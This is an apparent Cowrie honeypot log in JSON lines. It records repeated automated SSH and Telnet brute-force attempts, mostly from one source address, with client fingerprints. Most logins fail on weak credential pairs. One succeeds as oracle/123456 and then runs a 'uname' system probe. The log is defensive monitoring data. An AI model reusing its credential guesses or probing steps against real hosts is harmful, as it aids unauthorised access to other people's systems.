{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:35.576789Z","src_ip":"176.65.132.254","session":"18893bfa7e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:35.942884Z","src_ip":"176.65.132.254","session":"18893bfa7e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:37.043286Z","src_ip":"176.65.132.254","session":"18893bfa7e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.10531187057495,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:38.662160Z","src_ip":"134.209.8.29","session":"ea49386da4a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":41888,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4940fc88bd","protocol":"ssh","message":"New connection: 176.65.132.254:41888 (10.17.0.5:22) [session: 4e4940fc88bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:39.890725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:39.895712Z","src_ip":"176.65.132.254","session":"4e4940fc88bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:39.977984Z","src_ip":"176.65.132.254","session":"4e4940fc88bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:40.243134Z","src_ip":"176.65.132.254","session":"4e4940fc88bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.672303676605225,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:40.361506Z","src_ip":"38.54.119.93","session":"75c051ee091f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:41.350098Z","src_ip":"176.65.132.254","session":"4e4940fc88bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47080,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f61684b7b0","protocol":"ssh","message":"New connection: 176.65.132.254:47080 (10.17.0.5:22) [session: 13f61684b7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.046532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.055322Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.137136Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.383469Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.593699Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.597135Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.682922Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:44.688911Z","src_ip":"176.65.132.254","session":"13f61684b7b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47094,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcf84b2a569","protocol":"ssh","message":"New connection: 176.65.132.254:47094 (10.17.0.5:22) [session: 4dcf84b2a569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:48.077918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:48.082663Z","src_ip":"176.65.132.254","session":"4dcf84b2a569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:48.165160Z","src_ip":"176.65.132.254","session":"4dcf84b2a569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:48.444713Z","src_ip":"176.65.132.254","session":"4dcf84b2a569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33010,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f7d635f402","protocol":"telnet","message":"New connection: 134.209.8.29:33010 (159.203.135.109:23) [session: c9f7d635f402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:49.795944Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:49.850388Z","src_ip":"176.65.132.254","session":"4dcf84b2a569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46448,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a11d36d070e","protocol":"ssh","message":"New connection: 176.65.132.254:46448 (10.17.0.5:22) [session: 3a11d36d070e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:52.260282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:52.264972Z","src_ip":"176.65.132.254","session":"3a11d36d070e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:52.346551Z","src_ip":"176.65.132.254","session":"3a11d36d070e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:52.597871Z","src_ip":"176.65.132.254","session":"3a11d36d070e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:53.683914Z","src_ip":"176.65.132.254","session":"3a11d36d070e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46458,"dst_ip":"10.17.0.5","dst_port":22,"session":"a62cf446e70a","protocol":"ssh","message":"New connection: 176.65.132.254:46458 (10.17.0.5:22) [session: a62cf446e70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:56.499221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:56.503553Z","src_ip":"176.65.132.254","session":"a62cf446e70a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:56.585129Z","src_ip":"176.65.132.254","session":"a62cf446e70a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:56.850541Z","src_ip":"176.65.132.254","session":"a62cf446e70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37634,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17802e5a681","protocol":"telnet","message":"New connection: 38.54.119.93:37634 (10.17.0.5:23) [session: a17802e5a681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:57.410259Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:41:57.953187Z","src_ip":"176.65.132.254","session":"a62cf446e70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46462,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3a0cdd1fa4","protocol":"ssh","message":"New connection: 176.65.132.254:46462 (10.17.0.5:22) [session: 7b3a0cdd1fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:00.657366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:00.663687Z","src_ip":"176.65.132.254","session":"7b3a0cdd1fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:00.747121Z","src_ip":"176.65.132.254","session":"7b3a0cdd1fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:01.037185Z","src_ip":"176.65.132.254","session":"7b3a0cdd1fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:02.141818Z","src_ip":"176.65.132.254","session":"7b3a0cdd1fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41840,"dst_ip":"10.17.0.5","dst_port":23,"session":"628b6ca1e3b7","protocol":"telnet","message":"New connection: 38.54.119.93:41840 (10.17.0.5:23) [session: 628b6ca1e3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:04.249589Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53542,"dst_ip":"10.17.0.5","dst_port":22,"session":"88ad04ad5a60","protocol":"ssh","message":"New connection: 176.65.132.254:53542 (10.17.0.5:22) [session: 88ad04ad5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:04.615585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:04.621185Z","src_ip":"176.65.132.254","session":"88ad04ad5a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:42:04.777747Z","src_ip":"176.65.132.254","session":"88ad04ad5a60","protocol":"ssh"}
